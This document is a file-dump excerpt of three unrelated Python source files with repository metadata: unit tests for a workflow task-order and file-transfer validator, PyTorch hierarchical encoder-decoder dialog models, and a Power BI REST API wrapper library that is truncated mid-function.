dag.id = '1' tasks = [ TaskLog(id='parent_1', workflow='1', task_id='parent', started=0.0, finished=10.0, vm=1, result='OK'), TaskLog(id='child1_1', workflow='1', task_id='child1', started=11.0, finished=13.0, vm=1, result='OK'), TaskLog(id='child2_1', workflow='1', task_id='child2', started=5.0, finished=8.0, vm=2, result='OK')] result = order_validator.validate(dag, tasks) self.assertFalse(result.is_valid) self.assertIn('child2', result.errors[0]) def test_should_pass_if_task_was_started_immediately(self): dag = self._prepare_parent_child_dag() dag.id = '1' tasks = [ TaskLog(id='parent_1', workflow='1', task_id='parent', started=0.0, finished=10.0, vm=1, result='OK'), TaskLog(id='child1_1', workflow='1', task_id='child1', started=10.0, finished=13.0, vm=1, result='OK'), TaskLog(id='child2_1', workflow='1', task_id='child2', started=10.0, finished=15.0, vm=2, result='OK')] result = order_validator.validate(dag, tasks) self.assertTrue(result.is_valid) def test_should_pass_if_transfers_are_ok(self): dag = self._prepare_file_transfer_dag() dag.id = '1' tasks = [ TaskLog(id='before_1', workflow='1', task_id='before', started=0.0, finished=10.0, vm=1, result='OK'), TaskLog(id='after_1', workflow='1', task_id='after', started=13.0, finished=18.0, vm=1, result='OK')] transfers = [ TransferLog(id='123', job_id='before_1', vm=1, started=10.0, finished=12.0, direction='UPLOAD', file_id='transferred.txt'), TransferLog(id='234', job_id='after_1', vm=1, started=12.0, finished=13.0, direction='DOWNLOAD', file_id='transferred.txt')] result = order_validator.validate_transfers(dag, tasks, transfers) self.assertTrue(result.is_valid) self.assertListEqual([], result.errors) def test_should_fail_if_file_was_not_downloaded_at_all(self): dag = self._prepare_file_transfer_dag() dag.id = '1' tasks = [ TaskLog(id='before_1', workflow='1', task_id='before', started=0.0, finished=10.0, vm=1, result='OK'), TaskLog(id='after_1', workflow='1', task_id='after', started=13.0, finished=18.0, vm=1, result='OK')] transfers = [ TransferLog(id='123', job_id='before_1', vm=1, started=10.0, finished=12.0, direction='UPLOAD', file_id='transferred.txt'), ] result = order_validator.validate_transfers(dag, tasks, transfers) self.assertFalse(result.is_valid) def test_should_fail_if_file_was_not_uploaded_at_all(self): dag = self._prepare_file_transfer_dag() dag.id = '1' tasks = [ TaskLog(id='before_1', workflow='1', task_id='before', started=0.0, finished=10.0, vm=1, result='OK'), TaskLog(id='after_1', workflow='1', task_id='after', started=13.0, finished=18.0, vm=1, result='OK')] transfers = [ TransferLog( id='234', job_id='after_1', vm=1, started=12.0, finished=13.0, direction='DOWNLOAD', file_id='transferred.txt')] result = order_validator.validate_transfers(dag, tasks, transfers) self.assertFalse(result.is_valid) def test_should_fail_if_downloaded_to_bad_vm(self): dag = self._prepare_file_transfer_dag() dag.id = '1' tasks = [ TaskLog(id='before_1', workflow='1', task_id='before', started=0.0, finished=10.0, vm=1, result='OK'), TaskLog(id='after_1', workflow='1', task_id='after', started=13.0, finished=18.0, vm=1, result='OK')] transfers = [ TransferLog(id='123', job_id='before_1', vm=2, started=10.0, finished=12.0, direction='UPLOAD', file_id='transferred.txt'), TransferLog(id='234', job_id='after_1', vm=1, started=12.0, finished=13.0, direction='DOWNLOAD', file_id='transferred.txt')] result = order_validator.validate_transfers(dag, tasks, transfers) self.assertFalse(result.is_valid) def test_should_fail_if_uploaded_from_bad_vm(self): dag = self._prepare_file_transfer_dag() dag.id = '1' tasks = [ TaskLog(id='before_1', workflow='1', task_id='before', started=0.0, finished=10.0, vm=1, result='OK'), TaskLog(id='after_1', workflow='1', task_id='after', started=13.0, finished=18.0, vm=1, result='OK')] transfers = [ TransferLog(id='123', job_id='before_1', vm=1, started=10.0, finished=12.0, direction='UPLOAD', file_id='transferred.txt'), TransferLog(id='234', job_id='after_1', vm=2, started=12.0, finished=13.0, direction='DOWNLOAD', file_id='transferred.txt')] result = order_validator.validate_transfers(dag, tasks, transfers) self.assertFalse(result.is_valid) def test_should_fail_if_upload_instead_of_download(self): dag = self._prepare_file_transfer_dag() dag.id = '1' tasks = [ TaskLog(id='before_1', workflow='1', task_id='before', started=0.0, finished=10.0, vm=1, result='OK'), TaskLog(id='after_1', workflow='1', task_id='after', started=13.0, finished=18.0, vm=1, result='OK')] transfers = [ TransferLog(id='123', job_id='before_1', vm=1, started=10.0, finished=12.0, direction='UPLOAD', file_id='transferred.txt'), TransferLog(id='234', job_id='after_1', vm=1, started=12.0, finished=13.0, direction='UPLOAD', file_id='transferred.txt')] result = order_validator.validate_transfers(dag, tasks, transfers) self.assertFalse(result.is_valid) def test_should_fail_if_download_instead_of_upload(self): dag = self._prepare_file_transfer_dag() dag.id = '1' tasks = [ TaskLog(id='before_1', workflow='1', task_id='before', started=0.0, finished=10.0, vm=1, result='OK'), TaskLog(id='after_1', workflow='1', task_id='after', started=13.0, finished=18.0, vm=1, result='OK')] transfers = [ TransferLog(id='123', job_id='before_1', vm=1, started=10.0, finished=12.0, direction='DOWNLOAD', file_id='transferred.txt'), TransferLog(id='234', job_id='after_1', vm=1, started=12.0, finished=13.0, direction='DOWNLOAD', file_id='transferred.txt')] result = order_validator.validate_transfers(dag, tasks, transfers) self.assertFalse(result.is_valid) if __name__ == '__main__': unittest.main()

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0.815799

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null

0

1

0

1

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null

0

7

011698680b2c96d935d6bfd11067c645d3067ded

22,749

py

Python

zsdg/models/models.py

josephch405/NeuralDialog-ZSDG

0daa96e8f4d6786c1c8b96c27b1f6200605909a1

[ "Apache-2.0" ]

null

zsdg/models/models.py

josephch405/NeuralDialog-ZSDG

0daa96e8f4d6786c1c8b96c27b1f6200605909a1

[ "Apache-2.0" ]

null

zsdg/models/models.py

josephch405/NeuralDialog-ZSDG

0daa96e8f4d6786c1c8b96c27b1f6200605909a1

[ "Apache-2.0" ]

null

# -*- coding: utf-8 -*- # author: Tiancheng Zhao import torch import torch.nn as nn import torch.nn.functional as F from zsdg.dataset.corpora import PAD, BOS, EOS, BOD from zsdg import criterions from zsdg.enc2dec.decoders import DecoderRNN, DecoderPointerGen from zsdg.enc2dec.encoders import EncoderRNN, RnnUttEncoder from zsdg.utils import INT, FLOAT, LONG, cast_type from zsdg.nn_lib import IdentityConnector, Bi2UniConnector from zsdg import nn_lib import numpy as np from zsdg.enc2dec.decoders import GEN from zsdg.utils import Pack from zsdg.models.model_bases import BaseModel class PtrBase(BaseModel): def compute_loss(self, dec_outs, dec_ctx, labels): rnn_loss = self.nll_loss(dec_outs, labels) # find attention loss g = dec_ctx.get(DecoderPointerGen.KEY_G) if g is not None: ptr_softmax = dec_ctx[DecoderPointerGen.KEY_PTR_SOFTMAX] flat_ptr = ptr_softmax.view(-1, self.vocab_size) label_mask = labels.view(-1, 1) == self.rev_vocab[PAD] label_ptr = flat_ptr.gather(1, labels.view(-1, 1)) not_in_ctx = label_ptr == 0 mix_ptr = torch.cat([label_ptr, g.view(-1, 1)], dim=1).gather(1, not_in_ctx.long()) # mix_ptr = g.view(-1, 1) + label_ptr attention_loss = -1.0 * torch.log(mix_ptr.clamp(min=1e-10)) attention_loss.masked_fill_(label_mask, 0) valid_cnt = (label_mask.size(0) - torch.sum(label_mask).float()).clamp(min=1e-10) avg_attn_loss = torch.sum(attention_loss) / valid_cnt else: avg_attn_loss = None return Pack(nll=rnn_loss, attn_loss=avg_attn_loss) class HRED(BaseModel): def valid_loss(self, loss, batch_cnt=None): return loss.nll def __init__(self, corpus, config): super(HRED, self).__init__(config) self.vocab = corpus.vocab self.rev_vocab = corpus.rev_vocab self.vocab_size = len(self.vocab) self.go_id = self.rev_vocab[BOS] self.eos_id = self.rev_vocab[EOS] self.pad_id = self.rev_vocab[PAD] # build model here self.utt_encoder = RnnUttEncoder(config.utt_cell_size, config.dropout, use_attn=config.utt_type == 'attn_rnn', vocab_size=self.vocab_size, embed_dim=config.embed_size, feat_size=1) self.ctx_encoder = EncoderRNN(self.utt_encoder.output_size, config.ctx_cell_size, 0.0, config.dropout, config.num_layer, config.rnn_cell, variable_lengths=False, bidirection=config.bi_ctx_cell) if config.bi_ctx_cell or config.num_layer > 1: self.connector = Bi2UniConnector(config.rnn_cell, config.num_layer, config.ctx_cell_size, config.dec_cell_size) else: self.connector = IdentityConnector() self.decoder = DecoderRNN(self.vocab_size, config.max_dec_len, config.embed_size, config.dec_cell_size, self.go_id, self.eos_id, n_layers=1, rnn_cell=config.rnn_cell, input_dropout_p=config.dropout, dropout_p=config.dropout, use_attention=config.use_attn, attn_size=self.ctx_encoder.output_size, attn_mode=config.attn_type, use_gpu=config.use_gpu) self.nll = criterions.NLLEntropy(self.pad_id, config) def forward(self, data_feed, mode, gen_type='greedy', return_latent=False): """ B: batch_size, D: context_size U: utt_size, X: response_size 1. ctx_lens: B x 1 2. ctx_utts: B x D x U 3. ctx_confs: B x D 4. ctx_floors: B x D 5. out_lens: B x 1 6. out_utts: B x X :param data_feed: {'ctx_lens': vec_ctx_lens, 'ctx_utts': vec_ctx_utts, 'ctx_confs': vec_ctx_confs, 'ctx_floors': vec_ctx_floors, 'out_lens': vec_out_lens, 'out_utts': vec_out_utts} :param return_label :param dec_type :return: outputs """ ctx_lens = data_feed['context_lens'] ctx_utts = self.np2var(data_feed['contexts'], LONG) ctx_confs = self.np2var(data_feed['context_confs'], FLOAT) out_utts = self.np2var(data_feed['outputs'], LONG) batch_size = len(ctx_lens) enc_inputs = self.utt_encoder(ctx_utts, ctx_confs) enc_outs, enc_last = self.ctx_encoder(enc_inputs, ctx_lens) # get decoder inputs labels = out_utts[:, 1:].contiguous() dec_inputs = out_utts[:, 0:-1] # pack attention context if self.config.use_attn: attn_inputs = enc_outs else: attn_inputs = None # create decoder initial states dec_init_state = self.connector(enc_last) # decode dec_outs, dec_last, dec_ctx = self.decoder(batch_size, dec_inputs, dec_init_state, attn_context=attn_inputs, mode=mode, gen_type=gen_type, beam_size=self.config.beam_size) if mode == GEN: return dec_ctx, labels else: if return_latent: return Pack(nll=self.nll(dec_outs, labels), latent_actions=dec_init_state) else: return Pack(nll=self.nll(dec_outs, labels)) class PtrHRED(PtrBase): def valid_loss(self, loss, batch_cnt=None): total_loss = loss.nll + 0.01 * loss.attn_loss return total_loss def __init__(self, corpus, config): super(PtrHRED, self).__init__(config) self.vocab = corpus.vocab self.rev_vocab = corpus.rev_vocab self.vocab_size = len(self.vocab) self.go_id = self.rev_vocab[BOS] self.eos_id = self.rev_vocab[EOS] self.pad_id = self.rev_vocab[PAD] # build model here self.embedding = nn.Embedding(self.vocab_size, config.embed_size) self.utt_encoder = RnnUttEncoder(config.utt_cell_size, config.dropout, use_attn=True, vocab_size=self.vocab_size, embedding=self.embedding, feat_size=1) self.ctx_encoder = EncoderRNN(self.utt_encoder.output_size, config.ctx_cell_size, 0.0, config.dropout, config.num_layer, config.rnn_cell, variable_lengths=False, bidirection=config.bi_ctx_cell) if config.bi_ctx_cell or config.num_layer > 1: self.connector = Bi2UniConnector(config.rnn_cell, config.num_layer, config.ctx_cell_size, config.dec_cell_size) else: self.connector = IdentityConnector() self.attn_size = self.ctx_encoder.output_size self.decoder = DecoderPointerGen(self.vocab_size, config.max_dec_len, config.embed_size, config.dec_cell_size, self.go_id, self.eos_id, n_layers=1, rnn_cell=config.rnn_cell, input_dropout_p=config.dropout, dropout_p=config.dropout, attn_size=self.attn_size, attn_mode=config.attn_type, use_gpu=config.use_gpu, embedding=self.embedding) self.nll_loss = criterions.NLLEntropy(self.pad_id, config) def forward(self, data_feed, mode, gen_type='greedy', return_latent=False): """ B: batch_size, D: context_size U: utt_size, X: response_size 1. ctx_lens: B x 1 2. ctx_utts: B x D x U 3. ctx_confs: B x D 4. ctx_floors: B x D 5. out_lens: B x 1 6. out_utts: B x X :param data_feed: {'ctx_lens': vec_ctx_lens, 'ctx_utts': vec_ctx_utts, 'ctx_confs': vec_ctx_confs, 'ctx_floors': vec_ctx_floors, 'out_lens': vec_out_lens, 'out_utts': vec_out_utts} :param return_label :param dec_type :return: outputs """ ctx_lens = data_feed['context_lens'] ctx_utts = self.np2var(data_feed['contexts'], LONG) ctx_confs = self.np2var(data_feed['context_confs'], FLOAT) out_utts = self.np2var(data_feed['outputs'], LONG) batch_size = len(ctx_lens) utt_embedded, utt_outs, _, _ = self.utt_encoder( ctx_utts, ctx_confs, return_all=True) ctx_outs, ctx_last = self.ctx_encoder(utt_embedded, ctx_lens) # get decoder inputs labels = out_utts[:, 1:].contiguous() dec_inputs = out_utts[:, 0:-1] # create decoder initial states dec_init_state = self.connector(ctx_last) # attention ctx_outs = ctx_outs.unsqueeze(2).repeat(1, 1, ctx_utts.size( 2), 1).view(batch_size, -1, self.ctx_encoder.output_size) utt_outs = utt_outs.contiguous().view( batch_size, -1, self.utt_encoder.output_size) attn_inputs = ctx_outs + utt_outs flat_ctx_words = ctx_utts.view(batch_size, -1) # decode dec_outs, dec_last, dec_ctx = self.decoder(batch_size, attn_inputs, flat_ctx_words, inputs=dec_inputs, init_state=dec_init_state, mode=mode, gen_type=gen_type) if mode == GEN: return dec_ctx, labels else: results = self.compute_loss(dec_outs, dec_ctx, labels) if return_latent: results['latent_actions'] = dec_init_state return results class ZeroShotHRED(PtrBase): def __init__(self, corpus, config): super(ZeroShotHRED, self).__init__(config) self.vocab = corpus.vocab self.rev_vocab = corpus.rev_vocab self.vocab_size = len(self.vocab) self.go_id = self.rev_vocab[BOS] self.eos_id = self.rev_vocab[EOS] self.pad_id = self.rev_vocab[PAD] # build model here self.embedding = nn.Embedding( self.vocab_size, config.embed_size, padding_idx=self.pad_id) self.utt_encoder = RnnUttEncoder(config.utt_cell_size, config.dropout, use_attn=config.utt_type == 'rnn_attn', vocab_size=self.vocab_size, embedding=self.embedding, feat_size=1) self.ctx_encoder = EncoderRNN(self.utt_encoder.output_size, config.ctx_cell_size, 0.0, config.dropout, config.num_layer, config.rnn_cell, variable_lengths=False, bidirection=config.bi_ctx_cell) self.policy = nn_lib.Hidden2Feat(self.ctx_encoder.output_size, config.dec_cell_size, is_lstm=config.rnn_cell == 'lstm') self.utt_policy = lambda x: x self.connector = nn_lib.LinearConnector(config.dec_cell_size, config.dec_cell_size, is_lstm=config.rnn_cell == 'lstm') self.attn_size = self.ctx_encoder.output_size self.decoder = DecoderRNN(self.vocab_size, config.max_dec_len, config.embed_size, config.dec_cell_size, self.go_id, self.eos_id, n_layers=1, rnn_cell=config.rnn_cell, input_dropout_p=config.dropout, dropout_p=config.dropout, use_attention=config.use_attn, attn_size=self.ctx_encoder.output_size, attn_mode=config.attn_type, use_gpu=config.use_gpu) self.nll_loss = criterions.NLLEntropy(self.pad_id, config) self.l2_loss = criterions.L2Loss() def valid_loss(self, loss, batch_cnt=None): total_loss = loss.distance + loss.nll return total_loss def forward(self, data_feed, mode, gen_type='greedy', return_latent=False): """ B: batch_size, D: context_size U: utt_size, X: response_size 1. ctx_lens: B x 1 2. ctx_utts: B x D x U 3. ctx_confs: B x D 4. ctx_floors: B x D 5. out_lens: B x 1 6. out_utts: B x X :param data_feed: {'ctx_lens': vec_ctx_lens, 'ctx_utts': vec_ctx_utts, 'ctx_confs': vec_ctx_confs, 'ctx_floors': vec_ctx_floors, 'out_lens': vec_out_lens, 'out_utts': vec_out_utts} :param return_label :param dec_type :return: outputs """ # optional fields ctx_lens = data_feed.get('context_lens') ctx_utts = self.np2var(data_feed.get('contexts'), LONG) ctx_confs = self.np2var(data_feed.get('context_confs'), FLOAT) out_acts = self.np2var(data_feed.get('output_actions'), LONG) domain_metas = self.np2var(data_feed.get('domain_metas'), LONG) # required fields out_utts = self.np2var(data_feed['outputs'], LONG) batch_size = len(data_feed['outputs']) out_confs = self.np2var(np.ones((batch_size, 1)), FLOAT) # forward pass out_embedded, out_outs, _, _ = self.utt_encoder( out_utts.unsqueeze(1), out_confs, return_all=True) out_embedded = self.utt_policy(out_embedded.squeeze(1)) if ctx_lens is None: act_embedded, act_outs, _, _ = self.utt_encoder( out_acts.unsqueeze(1), out_confs, return_all=True) act_embedded = act_embedded.squeeze(1) # create attention contexts attn_inputs = act_outs.contiguous().view( batch_size, -1, self.utt_encoder.output_size) attn_words = out_acts.view(batch_size, -1) latent_action = self.utt_policy(act_embedded) else: utt_embedded, utt_outs, _, _ = self.utt_encoder( ctx_utts, ctx_confs, return_all=True) ctx_outs, ctx_last = self.ctx_encoder(utt_embedded, ctx_lens) # create decoder initial states latent_action = self.policy(ctx_last) # create attention contexts ctx_outs = ctx_outs.unsqueeze(2).repeat(1, 1, ctx_utts.size( 2), 1).view(batch_size, -1, self.ctx_encoder.output_size) utt_outs = utt_outs.contiguous().view( batch_size, -1, self.utt_encoder.output_size) attn_inputs = ctx_outs + utt_outs # batch_size x num_word x attn_size # batch_size x num_words attn_words = ctx_utts.view(batch_size, -1) dec_init_state = self.connector(latent_action) # mask out PAD words in the attention inputs attn_inputs, attn_words = self._remove_padding(attn_inputs, attn_words) # get decoder inputs labels = out_utts[:, 1:].contiguous() dec_inputs = out_utts[:, 0:-1] # decode dec_outs, dec_last, dec_ctx = self.decoder(batch_size, dec_inputs, dec_init_state, attn_context=attn_inputs, mode=mode, gen_type=gen_type, beam_size=self.config.beam_size) if mode == GEN: return dec_ctx, labels else: rnn_loss = self.nll_loss(dec_outs, labels) loss_pack = Pack(nll=rnn_loss) if return_latent: loss_pack['latent_actions'] = latent_action loss_pack['distance'] = self.l2_loss(out_embedded, latent_action) return loss_pack class ZeroShotPtrHRED(PtrBase): def __init__(self, corpus, config): super(ZeroShotPtrHRED, self).__init__(config) self.vocab = corpus.vocab self.rev_vocab = corpus.rev_vocab self.vocab_size = len(self.vocab) self.go_id = self.rev_vocab[BOS] self.eos_id = self.rev_vocab[EOS] self.pad_id = self.rev_vocab[PAD] # build model here self.embedding = nn.Embedding( self.vocab_size, config.embed_size, padding_idx=self.pad_id) self.utt_encoder = RnnUttEncoder(config.utt_cell_size, config.dropout, use_attn=config.utt_type == 'rnn_attn', vocab_size=self.vocab_size, embedding=self.embedding, feat_size=1) self.ctx_encoder = EncoderRNN(self.utt_encoder.output_size, config.ctx_cell_size, 0.0, config.dropout, config.num_layer, config.rnn_cell, variable_lengths=False, bidirection=config.bi_ctx_cell) self.policy = nn.Linear( self.ctx_encoder.output_size, config.dec_cell_size) self.utt_policy = lambda x: x self.connector = nn_lib.LinearConnector(config.dec_cell_size, config.dec_cell_size, is_lstm=config.rnn_cell == 'lstm') self.attn_size = self.ctx_encoder.output_size self.decoder = DecoderPointerGen(self.vocab_size, config.max_dec_len, config.embed_size, config.dec_cell_size, self.go_id, self.eos_id, n_layers=1, rnn_cell=config.rnn_cell, input_dropout_p=config.dropout, dropout_p=config.dropout, attn_size=self.attn_size, attn_mode=config.attn_type, use_gpu=config.use_gpu, embedding=self.embedding) self.nll_loss = criterions.NLLEntropy(self.pad_id, config) self.l2_loss = criterions.L2Loss() def valid_loss(self, loss, batch_cnt=None): total_loss = loss.distance + loss.nll + 0.01 * loss.attn_loss return total_loss def forward(self, data_feed, mode, gen_type='greedy', return_latent=False): # optional fields ctx_lens = data_feed.get('context_lens') ctx_utts = self.np2var(data_feed.get('contexts'), LONG) ctx_confs = self.np2var(data_feed.get('context_confs'), FLOAT) out_acts = self.np2var(data_feed.get('output_actions'), LONG) # required fields out_utts = self.np2var(data_feed['outputs'], LONG) batch_size = len(data_feed['outputs']) out_confs = self.np2var(np.ones((batch_size, 1)), FLOAT) out_embedded, out_outs, _, _ = self.utt_encoder( out_utts.unsqueeze(1), out_confs, return_all=True) out_embedded = self.utt_policy(out_embedded.squeeze(1)) if ctx_lens is None: act_embedded, act_outs, _, _ = self.utt_encoder( out_acts.unsqueeze(1), out_confs, return_all=True) act_embedded = act_embedded.squeeze(1) # create attention contexts attn_inputs = act_outs.contiguous().view( batch_size, -1, self.utt_encoder.output_size) attn_words = out_acts.view(batch_size, -1) latent_action = self.utt_policy(act_embedded) else: utt_embedded, utt_outs, _, _ = self.utt_encoder( ctx_utts, ctx_confs, return_all=True) ctx_outs, ctx_last = self.ctx_encoder(utt_embedded, ctx_lens) pi_inputs = self._gather_last_out(ctx_outs, ctx_lens) # create decoder initial states latent_action = self.policy(pi_inputs) # create attention contexts ctx_outs = ctx_outs.unsqueeze(2).repeat(1, 1, ctx_utts.size( 2), 1).view(batch_size, -1, self.ctx_encoder.output_size) utt_outs = utt_outs.contiguous().view( batch_size, -1, self.utt_encoder.output_size) attn_inputs = ctx_outs + utt_outs # batch_size x num_word x attn_size # batch_size x num_words attn_words = ctx_utts.view(batch_size, -1) dec_init_state = self.connector(latent_action) # mask out PAD words in the attention inputs attn_inputs, attn_words = self._remove_padding(attn_inputs, attn_words) # get decoder inputs labels = out_utts[:, 1:].contiguous() dec_inputs = out_utts[:, 0:-1] # decode dec_outs, dec_last, dec_ctx = self.decoder(batch_size, attn_inputs, attn_words, inputs=dec_inputs, init_state=dec_init_state, mode=mode, gen_type=gen_type) if mode == GEN: return dec_ctx, labels else: loss_pack = self.compute_loss(dec_outs, dec_ctx, labels) if return_latent: loss_pack['latent_actions'] = latent_action loss_pack['distance'] = self.l2_loss(out_embedded, latent_action) return loss_pack

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Python

simplepbi/datasets/__init__.py

ladataweb/SimplePBI

b9743bbb75517edda7eeea1388ab109cc8599c7c

[ "MIT" ]

null

simplepbi/datasets/__init__.py

ladataweb/SimplePBI

b9743bbb75517edda7eeea1388ab109cc8599c7c

[ "MIT" ]

null

simplepbi/datasets/__init__.py

ladataweb/SimplePBI

b9743bbb75517edda7eeea1388ab109cc8599c7c

[ "MIT" ]

null

''' /¯¯¯¯¯¯¯¯¯\ / \ | | __ | ********************************************* | | | \ | Code writen by Ignacio and Martin. | | | | | | |__|_ | | La Data Web | |__/ | ********************************************* \ / \__________/ ''' import json import requests from simplepbi import utils import pandas as pd class Datasets(): """Simple library to use the Power BI api and obtain datasets from it. """ def __init__(self, token): """Create a simplePBI object to request admin API Args: token: String Bearer Token to use the Power Bi Rest API """ self.token = token def get_dataset(self, dataset_id): """Returns the specified dataset from My workspace. ### Parameters ---- dataset_id: str uuid The Power Bi Dataset id. You can take it from PBI Service URL ### Returns ---- Dict: A dictionary containing a dataset in My workspace. """ try: url = "https://api.powerbi.com/v1.0/myorg/datasets/{}".format(dataset_id) res = requests.get(url, headers={'Content-Type': 'application/json', "Authorization": "Bearer {}".format(self.token)}) res.raise_for_status() return res.json() except requests.exceptions.HTTPError as ex: print("HTTP Error: ", ex, "\nText: ", ex.response.text) except requests.exceptions.RequestException as e: print("Request exception: ", e) def get_dataset_in_group(self, workspace_id, dataset_id): """Returns the specified dataset from the specified workspace. ### Parameters ---- workspace_id: str uuid The Power Bi workspace id. You can take it from PBI Service URL dataset_id: str uuid The Power Bi Dataset id. You can take it from PBI Service URL ### Returns ---- Dict: A dictionary containing a dataset in the workspace. """ try: url = "https://api.powerbi.com/v1.0/myorg/groups/{}/datasets/{}".format(workspace_id, dataset_id) res = requests.get(url, headers={'Content-Type': 'application/json', "Authorization": "Bearer {}".format(self.token)}) res.raise_for_status() return res.json() except requests.exceptions.HTTPError as ex: print("HTTP Error: ", ex, "\nText: ", ex.response.text) except requests.exceptions.RequestException as e: print("Request exception: ", e) def get_datasets(self): """Returns a list of datasets from My workspace. ### Parameters ---- None ### Returns ---- Dict: A dictionary containing all the datasets in My workspace. """ try: url = "https://api.powerbi.com/v1.0/myorg/datasets" res = requests.get(url, headers={'Content-Type': 'application/json', "Authorization": "Bearer {}".format(self.token)}) res.raise_for_status() return res.json() except requests.exceptions.HTTPError as ex: print("HTTP Error: ", ex, "\nText: ", ex.response.text) except requests.exceptions.RequestException as e: print("Request exception: ", e) def get_datasets_in_group(self, workspace_id): """Returns a list of datasets from the specified workspace. ### Parameters ---- workspace_id: str uuid The Power Bi workspace id. You can take it from PBI Service URL ### Returns ---- Dict: A dictionary containing all the datasets in the workspace. """ try: url = "https://api.powerbi.com/v1.0/myorg/groups/{}/datasets".format(workspace_id) res = requests.get(url, headers={'Content-Type': 'application/json', "Authorization": "Bearer {}".format(self.token)}) res.raise_for_status() return res.json() except requests.exceptions.HTTPError as ex: print("HTTP Error: ", ex, "\nText: ", ex.response.text) except requests.exceptions.RequestException as e: print("Request exception: ", e) def get_datasources(self, dataset_id): """Returns a list of data sources for the specified dataset from My workspace. ### Parameters ---- dataset_id: str uuid The Power Bi Dataset id. You can take it from PBI Service URL ### Returns ---- Dict: A dictionary containing all the datasources in the dataset from My workspace. """ try: url = "https://api.powerbi.com/v1.0/myorg/datasets/{}/datasources".format(dataset_id) res = requests.get(url, headers={'Content-Type': 'application/json', "Authorization": "Bearer {}".format(self.token)}) res.raise_for_status() return res.json() except requests.exceptions.HTTPError as ex: print("HTTP Error: ", ex, "\nText: ", ex.response.text) except requests.exceptions.RequestException as e: print("Request exception: ", e) def get_datasources_in_group(self, workspace_id, dataset_id): """Returns a list of data sources for the specified dataset from the specified workspace ### Parameters ---- workspace_id: str uuid The Power Bi workspace id. You can take it from PBI Service URL dataset_id: str uuid The Power Bi Dataset id. You can take it from PBI Service URL ### Returns ---- Dict: A dictionary containing all the datasources in the dataset from the workspace. """ try: url = "https://api.powerbi.com/v1.0/myorg/groups/{}/datasets/{}/datasources".format(workspace_id, dataset_id) res = requests.get(url, headers={'Content-Type': 'application/json', "Authorization": "Bearer {}".format(self.token)}) res.raise_for_status() return res.json() except requests.exceptions.HTTPError as ex: print("HTTP Error: ", ex, "\nText: ", ex.response.text) except requests.exceptions.RequestException as e: print("Request exception: ", e) def get_dataset_to_dataflows_links_in_group(self, workspace_id): """Returns a list of upstream dataflows for datasets from the specified workspace. ### Parameters ---- workspace_id: str uuid The Power Bi workspace id. You can take it from PBI Service URL ### Returns ---- Dict: A dictionary containing all upstream dataflows in the dataset from a workspace """ try: url = "https://api.powerbi.com/v1.0/myorg/groups/{}/datasets/upstreamDataflows".format(workspace_id) res = requests.get(url, headers={'Content-Type': 'application/json', "Authorization": "Bearer {}".format(self.token)}) if res.text == '': res.raise_for_status() return res else: res.raise_for_status() return res.json() except requests.exceptions.HTTPError as ex: print("HTTP Error: ", ex, "\nText: ", ex.response.text) except requests.exceptions.RequestException as e: print("Request exception: ", e) def get_direct_query_refresh_schedule(self, dataset_id): """Returns the refresh schedule for a specified DirectQuery or LiveConnection dataset from My workspace. ### Parameters ---- dataset_id: str uuid The Power Bi Dataset id. You can take it from PBI Service URL ### Returns ---- Dict: A dictionary containing the direct query refresh schedule in a dataset from My workspace. """ try: url = "https://api.powerbi.com/v1.0/myorg/datasets/{}/directQueryRefreshSchedule".format(dataset_id) res = requests.get(url, headers={'Content-Type': 'application/json', "Authorization": "Bearer {}".format(self.token)}) res.raise_for_status() return res.json() except requests.exceptions.HTTPError as ex: print("HTTP Error: ", ex, "\nText: ", ex.response.text) except requests.exceptions.RequestException as e: print("Request exception: ", e) def get_direct_query_refresh_schedule_in_group(self, workspace_id, dataset_id): """Returns the refresh schedule for a specified DirectQuery or LiveConnection dataset from the specified workspace. ### Parameters ---- workspace_id: str uuid The Power Bi workspace id. You can take it from PBI Service URL dataset_id: str uuid The Power Bi Dataset id. You can take it from PBI Service URL ### Returns ---- Dict: A dictionary containing the direct query refresh schedule in a dataset from a workspace. """ try: url = "https://api.powerbi.com/v1.0/myorg/groups/{}/datasets/{}/directQueryRefreshSchedule".format(workspace_id, dataset_id) res = requests.get(url, headers={'Content-Type': 'application/json', "Authorization": "Bearer {}".format(self.token)}) res.raise_for_status() return res.json() except requests.exceptions.HTTPError as ex: print("HTTP Error: ", ex, "\nText: ", ex.response.text) except requests.exceptions.RequestException as e: print("Request exception: ", e) def get_gateway_datasources(self, dataset_id): """This API is deprecated, use Get Datasources instead. ### Parameters ---- dataset_id: str uuid The Power Bi Dataset id. You can take it from PBI Service URL ### Returns """ print("This API is deprecated, use Get Datasources instead.") def get_gateway_datasources_in_group(self, dataset_id): """This API is deprecated, use Get Datasources In Group instead. ### Parameters ---- dataset_id: str uuid The Power Bi Dataset id. You can take it from PBI Service URL ### Returns """ print("This API is deprecated, use Get Datasources In Group instead.") def get_parameters(self, dataset_id): """Returns a list of parameters for the specified dataset from My workspace. ### Parameters ---- dataset_id: str uuid The Power Bi Dataset id. You can take it from PBI Service URL ### Returns ---- Dict: A dictionary containing all the parameters in the dataset from My workspace. """ try: url = "https://api.powerbi.com/v1.0/myorg/datasets/{}/parameters".format(dataset_id) res = requests.get(url, headers={'Content-Type': 'application/json', "Authorization": "Bearer {}".format(self.token)}) res.raise_for_status() return res.json() except requests.exceptions.HTTPError as ex: print("HTTP Error: ", ex, "\nText: ", ex.response.text) except requests.exceptions.RequestException as e: print("Request exception: ", e) def get_parameters_in_group(self, workspace_id, dataset_id): """Returns a list of parameters for the specified dataset from the specified workspace. ### Parameters ---- workspace_id: str uuid The Power Bi workspace id. You can take it from PBI Service URL dataset_id: str uuid The Power Bi Dataset id. You can take it from PBI Service URL ### Returns ---- Dict: A dictionary containing all the parameters in the dataset from workspace. """ try: url = "https://api.powerbi.com/v1.0/myorg/groups/{}/datasets/{}/parameters".format(workspace_id, dataset_id) res = requests.get(url, headers={'Content-Type': 'application/json', "Authorization": "Bearer {}".format(self.token)}) res.raise_for_status() return res.json() except requests.exceptions.HTTPError as ex: print("HTTP Error: ", ex, "\nText: ", ex.response.text) except requests.exceptions.RequestException as e: print("Request exception: ", e) def get_refresh_history(self, dataset_id, top=None): """Returns the refresh history for the specified dataset from My workspace. ### Parameters ---- dataset_id: str uuid The Power Bi Dataset id. You can take it from PBI Service URL top: int The requested number of entries in the refresh history. If not provided, the default is all available entries. ### Returns ---- Dict: A dictionary containing a refresh history in a dataset in My workspace. """ try: url = "https://api.powerbi.com/v1.0/myorg/datasets/{}/refreshes".format(dataset_id) if top != None: url = url + "?$top={}".format(str(top)) res = requests.get(url, headers={'Content-Type': 'application/json', "Authorization": "Bearer {}".format(self.token)}) res.raise_for_status() return 